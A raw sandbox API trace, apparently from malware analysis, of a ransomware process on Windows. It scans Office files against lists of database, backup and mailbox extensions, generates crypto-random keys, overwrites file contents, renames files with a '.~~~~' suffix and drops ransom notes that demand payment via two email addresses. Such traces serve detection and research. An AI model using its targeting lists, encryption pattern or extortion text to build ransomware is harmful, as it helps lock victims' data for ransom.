	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dbx") returned 0x0
	[0081.286] lstrlenW (lpString=".DB3") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DB3") returned 0x0
	[0081.286] lstrlenW (lpString=".DAT") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DAT") returned 0x0
	[0081.286] lstrlenW (lpString=".VHDX") returned 5
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".VHDX") returned 0x0
	[0081.286] lstrlenW (lpString=".ndf") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".ndf") returned 0x0
	[0081.286] lstrlenW (lpString=".DB") returned 3
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DB") returned 0x0
	[0081.286] lstrlenW (lpString=".sql") returned 4
	[0081.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".sql") returned 0x0
	[0081.287] lstrlenW (lpString=".MYD") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".MYD") returned 0x0
	[0081.287] lstrlenW (lpString=".DBT") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DBT") returned 0x0
	[0081.287] lstrlenW (lpString=".ACCDB") returned 6
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".ACCDB") returned 0x0
	[0081.287] lstrlenW (lpString=".fdb") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".fdb") returned 0x0
	[0081.287] lstrlenW (lpString=".bak") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".bak") returned 0x0
	[0081.287] lstrlenW (lpString=".myd") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".myd") returned 0x0
	[0081.287] lstrlenW (lpString=".DTXS") returned 5
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".DTXS") returned 0x0
	[0081.287] lstrlenW (lpString=".ckp") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".ckp") returned 0x0
	[0081.287] lstrlenW (lpString=".dbt") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".dbt") returned 0x0
	[0081.287] lstrlenW (lpString=".db") returned 3
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".db") returned 0x0
	[0081.287] lstrlenW (lpString=".TXT") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".TXT") returned 0x0
	[0081.287] lstrlenW (lpString=".MDF") returned 4
	[0081.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".MDF") returned 0x0
	[0081.288] lstrlenW (lpString=".bdb") returned 4
	[0081.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".bdb") returned 0x0
	[0081.288] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.288] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.289] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.289] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20127929094) returned 1
	[0081.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a4e3a10, dwHighDateTime=0x1d60e1e)) 
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0081.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0081.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.290] GetLastError () returned 0x0
	[0081.290] GetLastError () returned 0x0
	[0081.290] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.290] GetLastError () returned 0x0
	[0081.290] GetLastError () returned 0x0
	[0081.291] ReadFile (in: hFile=0x124, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0x41d4, lpOverlapped=0x0) returned 1
	[0081.403] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffbe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.403] WriteFile (in: hFile=0x124, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x41d4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0x41d4, lpOverlapped=0x0) returned 1
	[0081.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0081.406] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.406] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.407] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.407] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.407] CloseHandle (hObject=0x124) returned 1
	[0081.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7130
	[0081.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.~~~~")) returned 1
	[0081.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7130 | out: hHeap=0x300000) returned 1
	[0081.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.408] GetLastError () returned 0x0
	[0081.408] RtlWakeConditionVariable () returned 0x365f70
	[0081.408] GetCurrentThreadId () returned 0x3a4
	[0081.408] GetCurrentThreadId () returned 0x3a4
	[0081.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800c00 | out: hHeap=0x300000) returned 1
	[0081.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe0f8 | out: hHeap=0x300000) returned 1
	[0081.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800c00
	[0081.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.458] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.458] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.459] CloseHandle (hObject=0x118) returned 1
	[0081.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800c00 | out: hHeap=0x300000) returned 1
	[0081.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.459] RtlWakeConditionVariable () returned 0x365f70
	[0081.459] GetCurrentThreadId () returned 0x3a4
	[0081.459] GetCurrentThreadId () returned 0x3a4
	[0081.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800eb8 | out: hHeap=0x300000) returned 1
	[0081.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe1d8 | out: hHeap=0x300000) returned 1
	[0081.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800eb8
	[0081.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.548] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.549] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.550] CloseHandle (hObject=0x118) returned 1
	[0081.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800eb8 | out: hHeap=0x300000) returned 1
	[0081.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.550] RtlWakeConditionVariable () returned 0x365f70
	[0081.550] GetCurrentThreadId () returned 0x3a4
	[0081.550] GetCurrentThreadId () returned 0x3a4
	[0081.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0081.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe3d0 | out: hHeap=0x300000) returned 1
	[0081.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0081.550] lstrlenW (lpString=".scr") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".scr") returned 0x0
	[0081.550] lstrlenW (lpString=".cmd") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".cmd") returned 0x0
	[0081.550] lstrlenW (lpString=".dll") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dll") returned 0x0
	[0081.550] lstrlenW (lpString=".bat") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".bat") returned 0x0
	[0081.550] lstrlenW (lpString=".cpl") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".cpl") returned 0x0
	[0081.550] lstrlenW (lpString=".sys") returned 4
	[0081.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".sys") returned 0x0
	[0081.551] lstrlenW (lpString=".msc") returned 4
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".msc") returned 0x0
	[0081.551] lstrlenW (lpString=".com") returned 4
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".com") returned 0x0
	[0081.551] lstrlenW (lpString=".lnk") returned 4
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".lnk") returned 0x0
	[0081.551] lstrlenW (lpString=".msp") returned 4
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".msp") returned 0x0
	[0081.551] lstrlenW (lpString=".pif") returned 4
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".pif") returned 0x0
	[0081.551] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.717] lstrlenW (lpString=".sqb") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".sqb") returned 0x0
	[0081.717] lstrlenW (lpString=".ost") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".ost") returned 0x0
	[0081.717] lstrlenW (lpString=".txt") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".txt") returned 0x0
	[0081.717] lstrlenW (lpString=".mdt") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".mdt") returned 0x0
	[0081.717] lstrlenW (lpString=".BDB") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".BDB") returned 0x0
	[0081.717] lstrlenW (lpString=".eql") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".eql") returned 0x0
	[0081.717] lstrlenW (lpString=".DBF") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DBF") returned 0x0
	[0081.717] lstrlenW (lpString=".EQL") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".EQL") returned 0x0
	[0081.717] lstrlenW (lpString=".FDB") returned 4
	[0081.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".FDB") returned 0x0
	[0081.718] lstrlenW (lpString=".EDB") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".EDB") returned 0x0
	[0081.718] lstrlenW (lpString=".DACPAC") returned 7
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.718] lstrlenW (lpString=".VHD") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".VHD") returned 0x0
	[0081.718] lstrlenW (lpString=".DBV") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DBV") returned 0x0
	[0081.718] lstrlenW (lpString=".dacpac") returned 7
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dacpac") returned 0x0
	[0081.718] lstrlenW (lpString=".sdf") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".sdf") returned 0x0
	[0081.718] lstrlenW (lpString=".accdb") returned 6
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".accdb") returned 0x0
	[0081.718] lstrlenW (lpString=".DBX") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DBX") returned 0x0
	[0081.718] lstrlenW (lpString=".MDT") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".MDT") returned 0x0
	[0081.718] lstrlenW (lpString=".SQB") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".SQB") returned 0x0
	[0081.718] lstrlenW (lpString=".vhd") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".vhd") returned 0x0
	[0081.718] lstrlenW (lpString=".bac") returned 4
	[0081.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".bac") returned 0x0
	[0081.719] lstrlenW (lpString=".mdf") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".mdf") returned 0x0
	[0081.719] lstrlenW (lpString=".BAK") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".BAK") returned 0x0
	[0081.719] lstrlenW (lpString=".BAC") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".BAC") returned 0x0
	[0081.719] lstrlenW (lpString=".dbs") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dbs") returned 0x0
	[0081.719] lstrlenW (lpString=".vhdx") returned 5
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".vhdx") returned 0x0
	[0081.719] lstrlenW (lpString=".NDF") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".NDF") returned 0x0
	[0081.719] lstrlenW (lpString=".dat") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dat") returned 0x0
	[0081.719] lstrlenW (lpString=".DBS") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".DBS") returned 0x0
	[0081.719] lstrlenW (lpString=".CKP") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".CKP") returned 0x0
	[0081.719] lstrlenW (lpString=".edb") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".edb") returned 0x0
	[0081.719] lstrlenW (lpString=".PST") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".PST") returned 0x0
	[0081.719] lstrlenW (lpString=".dbf") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dbf") returned 0x0
	[0081.719] lstrlenW (lpString=".SQL") returned 4
	[0081.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".SQL") returned 0x0
	[0081.719] lstrlenW (lpString=".pst") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".pst") returned 0x0
	[0081.720] lstrlenW (lpString=".dbv") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dbv") returned 0x0
	[0081.720] lstrlenW (lpString=".SDF") returned 4
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".SDF") returned 0x0
	[0081.720] lstrlenW (lpString=".dtxs") returned 5
	[0081.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL", lpSrch=".dtxs") returned 0x0
	[0081.720] lstrlenW (lpString=".db3") returned 4
